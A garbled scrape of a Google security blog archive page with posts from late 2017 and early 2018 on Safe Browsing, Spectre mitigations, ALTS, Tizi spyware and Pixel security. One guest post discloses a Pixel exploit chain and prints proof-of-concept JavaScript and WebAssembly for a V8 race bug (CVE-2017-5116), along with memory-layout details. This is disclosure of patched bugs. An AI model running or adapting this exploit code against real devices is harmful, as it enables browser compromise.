Google Online Security Blog

Announcing turndown of the deprecated Google Safe Browsing APIs

24. Januar 2018

Posted by Alex Wozniak, Software Engineer, Safe Browsing TeamintroducedGoogle Safe Browsing API (v4)3 billion devicesGitHubSafetyNet Safe Browsing APIGetting startedSafe Browsing Google Groupour website

Android Security Ecosystem Investments Pay Dividends for Pixel

17. Januar 2018

Posted by Mayank Jain and Scott Roberts, Android security team[Cross-posted from the Android Developers Blog]increased the top payoutsAndroid Security Rewards@oldfresherChrome Rewards programDecember 2017 monthly security update.A/B (seamless) system updatesresearcher communityProgram rulesBug Hunter UniversityThe following article is a guest blog post authored by Guang Gong of Alpha team, Qihoo 360 Technology Ltd. Technical details of a Pixel remote exploit chain2017 Mobile Pwn2OwnCVE-2017-5116 The RCE bug (CVE-2017-5116)V8 6.0SharedArrayBufferWebAssemblyGetFirstArgumentAsBytesi::wasm::ModuleWireBytes GetFirstArgumentAsBytes( const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) { ...... } else if (source->IsTypedArray()) { //--->source should be checked if it's backed by a SharedArrayBuffer // A TypedArray was passed. Local<TypedArray> array = Local<TypedArray>::Cast(source); Local<ArrayBuffer> buffer = array->Buffer(); ArrayBuffer::Contents contents = buffer->GetContents(); start = reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset(); length = array->ByteLength(); } ...... return i::wasm::ModuleWireBytes(start, start + length); } <html> <h1>poc</h1> <script id="worker1"> worker:{ self.onmessage = function(arg) { console.log("worker started"); var ta = new Uint8Array(arg.data); var i =0; while(1){ if(i==0){ i=1; ta[51]=0; //--->4)modify the webassembly code at the same time }else{ i=0; ta[51]=128; } } } } </script> <script> function getSharedTypedArray(){ var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e, 0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01, 0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b, 0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b]; var sb = new SharedArrayBuffer(wasmarr.length); //---> 1)put WebAssembly code in a SharedArrayBuffer var sta = new Uint8Array(sb); for(var i=0;i<sta.length;i++) sta[i]=wasmarr[i]; return sta; } var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); //---> 2)create a web worker var sta = getSharedTypedArray(); worker.postMessage(sta.buffer); //--->3)pass the WebAssembly code to the web worker setTimeout(function(){ while(1){ try{ sta[51]=0; var myModule = new WebAssembly.Module(sta); //--->4)parse the WebAssembly code var myInstance = new WebAssembly.Instance(myModule); //myInstance.exports.getAnswerPlus1(); }catch(e){ } } },1000); //worker.terminate(); </script> </html> 00002b func[0]: 00002d: 41 2a | i32.const 42 00002f: 0b | end 000030 func[1]: 000032: 10 00 | call 0 000034: 41 01 | i32.const 1 000036: 6a | i32.add 000037: 0b | end TOCTOU (func $leak(param i32 i32 i32 i32 i32 i32)(result i32) i32.const 0 get_local 0 i32.store i32.const 4 get_local 1 i32.store i32.const 8 get_local 2 i32.store i32.const 12 get_local 3 i32.store i32.const 16 get_local 4 i32.store i32.const 20 get_local 5 i32.store i32.const 0 )) /*Text format of funcx*/ (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32) get_local 5 get_local 4 i32.add) /*Disassembly code of funcx*/ --- Code --- kind = WASM_FUNCTION name = wasm#1 compiler = turbofan Instructions (size = 20) 0x58f87600 0 8b442404 mov eax,[esp+0x4] 0x58f87604 4 03c6 add eax,esi 0x58f87606 6 c20400 ret 0x4 0x58f87609 9 0f1f00 nop Safepoints (size = 8) RelocInfo (size = 0) --- End code --- /*Disassembly code of JS_TO_WASM function */ --- Code --- kind = JS_TO_WASM_FUNCTION name = js-to-wasm#0 compiler = turbofan Instructions (size = 170) 0x4be08f20 0 55 push ebp 0x4be08f21 1 89e5 mov ebp,esp 0x4be08f23 3 56 push esi 0x4be08f24 4 57 push edi 0x4be08f25 5 83ec08 sub esp,0x8 0x4be08f28 8 8b4508 mov eax,[ebp+0x8] 0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) ;; code: BUILTIN 0x4be08f30 10 a801 test al,0x1 0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42> /* ArrayBuffer layouts 40 Bytes*/ Map Properties Elements ByteLength BackingStore AllocationBase AllocationLength Fields internal internal /* Map layouts 44 Bytes*/ static kMapOffset = 0, static kInstanceSizesOffset = 4, static kInstanceAttributesOffset = 8, static kBitField3Offset = 12, static kPrototypeOffset = 16, static kConstructorOrBackPointerOffset = 20, static kTransitionsOrPrototypeInfoOffset = 24, static kDescriptorsOffset = 28, static kLayoutDescriptorOffset = 1, static kCodeCacheOffset = 32, static kDependentCodeOffset = 36, static kWeakCellCacheOffset = 40, static kPointerFieldsBeginOffset = 16, static kPointerFieldsEndOffset = 44, static kInstanceSizeOffset = 4, static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5, static kUnusedOffset = 6, static kVisitorIdOffset = 7, static kInstanceTypeOffset = 8, //one byte static kBitFieldOffset = 9, static kInstanceTypeAndBitFieldOffset = 8, static kBitField2Offset = 10, static kUnusedPropertyFieldsOffset = 11 The EoP Bug (CVE-2017-14904)gralloc_mapgralloc_unmapstatic int gralloc_map(gralloc_module_t const* module, buffer_handle_t handle) { …… private_handle_t* hnd = (private_handle_t*)handle; …… if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) && !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) { size = hnd->size; err = memalloc->map_buffer(&mappedAddress, size, hnd->offset, hnd->fd); //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process. if(err || mappedAddress == MAP_FAILED) { ALOGE("Could not mmap handle %p, fd=%d (%s)", handle, hnd->fd, strerror(errno)); return -errno; } hnd->base = uint64_t(mappedAddress) + hnd->offset; //---> save mappedAddress+offset to hnd->base } else { err = -EACCES; } …… return err; } static int gralloc_unmap(gralloc_module_t const* module, buffer_handle_t handle) { …… if(hnd->base) { err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset); //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched. if (err) { ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base, strerror(errno)); return -errno; } hnd->base = 0; } …… return 0; } int IonAlloc::unmap_buffer(void *base, unsigned int size, unsigned int /*offset*/) //---> look, offset is not used by unmap_buffer { int err = 0; if(munmap(base, size)) { err = -errno; ALOGE("ion: Failed to unmap memory at %p : %s", base, strerror(errno)); } return err; } 52neverallow isolated_app { 53 service_manager_type 54 -activity_service 55 -display_service 56 -webviewupdate_service 57}:service_manager find; A Way of Breaking Chrome's Sandbox in AndroidBitunmap7f54600000-7f54800000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f58000000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) ...... 7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] //--->There is a 2MB memory gap 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) 7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->The gap is filled with the ashmem memory 360alpha1001 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) 7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) GraphicBuffertypedef struct android_native_base_t { /* a magic value defined by the actual EGL native type */ int magic; /* the sizeof() of the actual EGL native type */ int version; void* reserved[4]; /* reference-counting interface */ void (*incRef)(struct android_native_base_t* base); void (*decRef)(struct android_native_base_t* base); } android_native_base_t; SummaryDecember 2017 Security Update .com { color: #32CD32; font-weight: bold; }

More details about mitigations for the CPU Speculative Execution issue

4. Januar 2018

Posted by Matt Linton, Senior Security Engineer and Pat Parseghian, Technical Program Managerdetailed technical informationRetpolineSpeculative Execution and the Three Methods of Attack
post

Variant 1 (CVE-2017-5753), “bounds check bypass.” This vulnerability affects specific sequences within compiled applications, which must be addressed on a per-binary basis.

Variant 2 (CVE-2017-5715), “branch target injection”. This variant may either be fixed by a CPU microcode update from the CPU vendor, or by applying a software mitigation technique called “Retpoline” to binaries where concern about information leakage is present. This mitigation may be applied to the operating system kernel, system programs and libraries, and individual software programs, as needed.

Variant 3 (CVE-2017-5754), “rogue data cache load.” This may require patching the system’s operating system. For Linux there is a patchset called KPTI (Kernel Page Table Isolation) that helps mitigate Variant 3. Other operating systems may implement similar protections - check with your vendor for specifics.

Summary	Mitigation
Variant 1: bounds check bypass (CVE-2017-5753)
This attack variant allows malicious code to circumvent bounds checking features built into most binaries. Even though the bounds checks will still fail, the CPU will speculatively execute instructions after the bounds checks, which can access memory that the code could not normally access. When the CPU determines the bounds check has failed, it discards any work that was done speculatively; however, some changes to the system can be still observed (in particular, changes to the state of the CPU caches). The malicious code can detect these changes and read the data that was speculatively accessed. The primary ramification of Variant 1 is that it is difficult for a system to run untrusted code within a process and restrict what memory within the process the untrusted code can access. In the kernel, this has implications for systems such as the extended Berkeley Packet Filter (eBPF) that takes packet filterers from user space code, just-in-time (JIT) compiles the packet filter code, and runs the packet filter within the context of kernel. The JIT compiler uses bounds checking to limit the memory the packet filter can access, however, Variant 1 allows an attacker to use speculation to circumvent these limitations.	Mitigation requires analysis and recompilation so that vulnerable binary code is not emitted. Examples of targets which may require patching include the operating system and applications which execute untrusted code.
Variant 2: branch target injection (CVE-2017-5715)
This attack variant uses the ability of one process to influence the speculative execution behavior of code in another security context (i.e., guest/host mode, CPU ring, or process) running on the same physical CPU core. Modern processors predict the destination for indirect jumps and calls that a program may take and start speculatively executing code at the predicted location. The tables used to drive prediction are shared between processes running on a physical CPU core, and it is possible for one process to pollute the branch prediction tables to influence the branch prediction of another process or kernel code. In this way, an attacker can cause speculative execution of any mapped code in another process, in the hypervisor, or in the kernel, and potentially read data from the other protection domain using techniques like Variant 1. This variant is difficult to use, but has great potential power as it crosses arbitrary protection domains.	Mitigating this attack variant requires either installing and enabling a CPU microcode update from the CPU vendor (e.g., Intel's IBRS microcode), or applying a software mitigation (e.g., Google's Retpoline) to the hypervisor, operating system kernel, system programs and libraries, and user applications.
Variant 3: rogue data cache load (CVE-2017-5754)
This attack variant allows a user mode process to access virtual memory as if the process was in kernel mode. On some processors, the speculative execution of code can access memory that is not typically visible to the current execution mode of the processor; i.e., a user mode program may speculatively access memory as if it were running in kernel mode. Using the techniques of Variant 1, a process can observe the memory that was accessed speculatively. On most operating systems today, the page table that a process uses includes access to most physical memory on the system, however access to such memory is limited to when the process is running in kernel mode. Variant 3 enables access to such memory even in user mode, violating the protections of the hardware.	Mitigating this attack variant requires patching the operating system. For Linux, the patchset that mitigates Variant 3 is called Kernel Page Table Isolation (KPTI). Other operating systems/providers should implement similar mitigations.

Mitigations for Google products
here

Today's CPU vulnerability: what you need to know

3. Januar 2018

Posted by Matt Linton, Senior Security Engineer and Pat Parseghian, Technical Program Manager[Google Cloud, G Suite, and Chrome customers can visit the Google Cloud blog for details about those products][For more technical details about this issue, please read Project Zero's blog post]Google’s Project Zerospeculative executionMitigation status for Google productshere

All Google products not explicitly listed below require no user or customer action.

Android

Devices with the latest security update are protected. Furthermore, we are unaware of any successful reproduction of this vulnerability that would allow unauthorized information disclosure on ARM-based Android devices.
Supported Nexus and Pixel devices with the latest security update are protected.
Further information is available here.

Google Apps / G Suite (Gmail, Calendar, Drive, Sites, etc.):

No additional user or customer action needed.

Google Chrome

Some user or customer action needed. More information here.

Google Chrome OS (e.g., Chromebooks):

Some additional user or customer action needed. More information here.

Google Cloud Platform

Google App Engine: No additional customer action needed.
Google Compute Engine: Some additional customer action needed. More information here.
Google Kubernetes Engine: Some additional customer action needed. More information here.
Google Cloud Dataflow: Some additional customer action needed. More information here.
Google Cloud Dataproc: Some additional customer action needed. More information here.
All other Google Cloud products and services: No additional action needed.

Google Home / Chromecast:

No additional user action needed.

Google Wifi/OnHub:

No additional user action needed.

Multiple methods of attack
To take advantage of this vulnerability, an attacker first must be able to run malicious code on the targeted system.
The Project Zero researchers discovered three methods (variants) of attack, which are effective under different conditions. All three attack variants can allow a process with normal user privileges to perform unauthorized reads of memory data, which may contain sensitive information such as passwords, cryptographic key material, etc.
In order to improve performance, many CPUs may choose to speculatively execute instructions based on assumptions that are considered likely to be true. During speculative execution, the processor is verifying these assumptions; if they are valid, then the execution continues. If they are invalid, then the execution is unwound, and the correct execution path can be started based on the actual conditions. It is possible for this speculative execution to have side effects which are not restored when the CPU state is unwound, and can lead to information disclosure.
There is no single fix for all three attack variants; each requires protection independently. Many vendors have patches available for one or more of these attacks.
We will continue our work to mitigate these vulnerabilities and will update both our product support page and this blog post as we release further fixes. More broadly, we appreciate the support and involvement of all the partners and Google engineers who worked tirelessly over the last few months to make our users and customers safe.

Blog post update log

Added link to Project Zero blog
Added link to Google Cloud blog

Securing communications between Google services with Application Layer Transport Security

13. Dezember 2017

Posted by Cesar Ghali and Julien Boeuf, Engineers on the Security & Privacy TeamApplication Layer Transport SecurityALTS is a highly reliable, trusted system that provides authentication and security for our internal Remote Procedure Call (RPC) communications.

More precise security: Each workload has its own identity. This allows workloads running on the same machine to authenticate using their own identity as opposed to the machine’s identity.

Improved scalability: ALTS accommodates Google’s massive scale by using an efficient resumption mechanism embedded in the ALTS handshake protocol, allowing services that were already communicating to easily resume communications. ALTS can also accommodate the authentication and encryption needs of a large number of RPCs; for example, services running on Google production systems collectively issue on the order of O(1010) RPCs per second.

Reduced overhead: The overhead of potentially expensive cryptographic operations can be reduced by supporting long-lived RPC channels.

Multiple features that ensure security and scalability
Inside physical boundaries controlled by or on behalf of Google, all scheduled production workloads are initialized with a certificate that asserts their identity. These credentials are securely delivered to the workloads. When a workload is involved in an ALTS handshake, it verifies the remote peer identity and certificate. To further increase security, all Google certificates have a relatively short lifespan.
ALTS has a flexible trust model that works for different types of entities on the network. Entities can be physical machines, containerized workloads, and even human users to whom certificates can be provisioned.
ALTS provides a handshake protocol, which is a Diffie-Hellman (DH) based authenticated key exchange protocol that Google developed and implemented. At the end of a handshake, ALTS provides applications with an authenticated remote peer identity, which can be used to enforce fine-grained authorization policies at the application layer.

ALTS ensures the integrity of Google traffic is protected, and encrypted as needed.
After a handshake is complete and the client and server negotiate the necessary shared secrets, ALTS secures RPC traffic by forcing integrity, and optional encryption, using the negotiated shared secrets. We support multiple protocols for integrity guarantees, e.g., AES-GMAC and AES-VMAC with 128-bit keys. Whenever traffic leaves a physical boundary controlled by or on behalf of Google, e.g., in transit over WAN between datacenters, all protocols are upgraded automatically to provide encryption as well as integrity guarantees. In this case, we use the AES-GCM and AES-VCM protocols with 128-bit keys.
More details on how Google data encryption is performed are available in another whitepaper we are releasing today, “Encryption in Transit in Google Cloud.”
In summary, ALTS is widely used in Google’s infrastructure to provide service-to-service authentication and integrity, with optional encryption for all Google RPC traffic. For more information about ALTS, please read our whitepaper, “Application Layer Transport Security.”

Additional protections by Safe Browsing for Android users

1. Dezember 2017

Posted by Paul Stanton and Brooke Heinichen, Safe Browsing TeamUpdated on 12/14/17 to further distinguish between Unwanted Software Policy and Google Play Developer Program PolicyUnwanted Software Policyhandle user dataprovide disclosure.Unwanted Software PolicySearch ConsoleUnwanted Software Help CenterApp verification and appealsAugust 2017 announcement.

Tizi: Detecting and blocking socially engineered spyware on Android

27. November 2017

Posted by Anthony Desnos, Megan Ruthven, and Richard Neal, Google Play Protect security engineers and Clement Lecigne, Threat Analysis GroupWhat is Tizi?

What is the scope of Tizi?

What are we doing?
To protect Android devices and users, we used Google Play Protect to disable Tizi-infected apps on affected devices and have notified users of all known affected devices. The developers' accounts have been suspended from Play.
The Google Play Protect team also used information and signals from the Tizi apps to update Google's on-device security services and the systems that search for PHAs. These enhancements have been enabled for all users of our security services and increases coverage for Google Play users and the rest of the Android ecosystem.
Additionally, there is more technical information below to help the security industry in our collective work against PHAs.

What do I need to do?
Through our investigation, we identified around 1,300 devices affected by Tizi. To reduce the chance of your device being affected by PHAs and other threats, we recommend these 5 basic steps:

Check permissions: Be cautious with apps that request unreasonable permissions. For example, a flashlight app shouldn't need access to send SMS messages.

Enable a secure lock screen: Pick a PIN, pattern, or password that is easy for you to remember and hard for others to guess.

Update your device: Keep your device up-to-date with the latest security patches. Tizi exploited older and publicly known security vulnerabilities, so devices that have up-to-date security patches are less exposed to this kind of attack.

Google Play Protect: Ensure Google Play Protect is enabled.

Locate your device: Practice finding your device, because you are far more likely to lose your device than install a PHA.

How does Tizi work?
The Google Play Protect team had previously classified some samples as spyware or backdoor PHAs without connecting them as a family. The early Tizi variants didn't have rooting capabilities or obfuscation, but later variants did.
After gaining root, Tizi steals sensitive data from popular social media apps like Facebook, Twitter, WhatsApp, Viber, Skype, LinkedIn, and Telegram. It usually first contacts its command-and-control servers by sending an SMS with the device's GPS coordinates to a specific number. Subsequent command-and-control communications are normally performed over regular HTTPS, though in some specific versions, Tizi uses the MQTT messaging protocol with a custom server. The backdoor contains various capabilities common to commercial spyware, such as recording calls from WhatsApp, Viber, and Skype; sending and receiving SMS messages; and accessing calendar events, call log, contacts, photos, Wi-Fi encryption keys, and a list of all installed apps. Tizi apps can also record ambient audio and take pictures without displaying the image on the device's screen.
Tizi can root the device by exploiting one of the following local vulnerabilities:

CVE-2012-4220
CVE-2013-2596
CVE-2013-2597
CVE-2013-2595
CVE-2013-2094
CVE-2013-6282
CVE-2014-3153
CVE-2015-3636
CVE-2015-1805

Most of these vulnerabilities target older chipsets, devices, and Android versions. All of the listed vulnerabilities are fixed on devices with a security patch level of April 2016 or later, and most of them were patched considerably prior to this date. Devices with this patch level or later are far less exposed to Tizi's capabilities. If a Tizi app is unable to take control of a device because the vulnerabilities it tries to use are are all patched, it will still attempt to perform some actions through the high level of permissions it asks the user to grant to it, mainly around reading and sending SMS messages and monitoring, redirecting, and preventing outgoing phone calls.

Samples uploaded to VirusTotal
To encourage further research in the security community, here are some sample applications embedding Tizi that were already on VirusTotal.

Package name	SHA256 digest	SHA1 certificate
com.press.nasa.com.tanofresh	4d780a6fc18458311250d4d1edc750468fdb9b3e4c950dce5b35d4567b47d4a7	816bbee3cab5eed00b8bd16df56032a96e243201
com.dailyworkout.tizi	7c6af091a7b0f04fb5b212bd3c180ddcc6abf7cd77478fd22595e5b7aa7cfd9f	404b4d1a7176e219eaa457b0050b4081c22a9a1a
com.system.update.systemupdate	7a956c754f003a219ea1d2205de3ef5bc354419985a487254b8aeb865442a55e	4d2962ac1f6551435709a5a874595d855b1fa8ab

Additional digests linked to Tizi
To encourage further research in the security community, here are some sample digests of exploits and utilities that were used or abused by Tizi.

Filename	SHA256 digest
run_root_shell	f2e45ea50fc71b62d9ea59990ced755636286121437ced6237aff90981388f6a
iovyroot	4d0887f41d0de2f31459c14e3133debcdf758ad8bbe57128d3bec2c907f2acf3
filesbetyangu.tar	9869871ed246d5670ebca02bb265a584f998f461db0283103ba58d4a650333be

Lock it up! New hardware protections for your lock screen with the Google Pixel 2

14. November 2017

Posted by Xiaowen Xin, Android Security Teambrute-forceBenefits of tamper-resistant hardware

In particular:

Because it has its own dedicated RAM, it’s robust against many side-channel information leakage attacks, such as those described in the TruSpy cache side-channel paper.
Because it has its own dedicated flash, it’s harder to interfere with its ability to store state persistently.
It loads its operating system and software directly from internal ROM and flash, and it controls all updates to it, so attackers can’t directly tamper with its software to inject malicious code.
Tamper-resistant hardware is resilient against many physical fault injection techniques including attempts to run outside normal operating conditions, such as wrong voltage, wrong clock speed, or wrong temperature. This is standardized in specifications such as the SmartCard IC Platform Protection Profile, and tamper-resistant hardware is often certified to these standards.
Tamper-resistant hardware is usually housed in a package that is resistant to physical penetration and designed to resist side channel attacks, including power analysis, timing analysis, and electromagnetic sniffing, such as described in the SoC it to EM paper.

Security module in Pixel 2

The new Google Pixel 2 ships with a security module built using tamper-resistant hardware that protects your lock screen and your data against many sophisticated hardware attacks.

In addition to all the benefits already mentioned, the security module in Pixel 2 also helps protect you against software-only attacks:

Because it performs very few functions, it has a super small attack surface.
With passcode verification happening in the security module, even in the event of a full compromise elsewhere, the attacker cannot derive your disk encryption key without compromising the security module first.
The security module is designed so that nobody, including Google, can update the passcode verification logic to a weakened version without knowing your passcode first.

Summary

Just like many other Google products, such as Chromebooks and Cloud, Android and Pixel are investing in additional hardware protections to make your device more secure. With the new Google Pixel 2, your data is safer against an entire class of sophisticated hardware attacks.

New research: Understanding the root cause of account takeover

9. November 2017

Posted by Kurt Thomas, Anti-Abuse Research; Angelika Moscicki, Account Security15% of Internet usersConference on Computer and Communications Security (CCS)here

How hijackers steal passwords on the black marketProtecting our users from account takeoverPrevention
protects more than 3 billion devicesclick a link to a dangerous site within GmailAdvanced Protection programDetection

MitigationWhat you can doSecurity CheckupSmart Lock

Introducing the Google Play Security Reward Program

19. Oktober 2017

Posted by Renu Chaudhary, Android Security and Rahul Mishra, Program ManagerGoogle-developed websites and appsChrome and Chrome OSthe latest version of Android running on Pixel devicesGoogle Play Security Reward ProgramHackerOnePlay Security Reward Program

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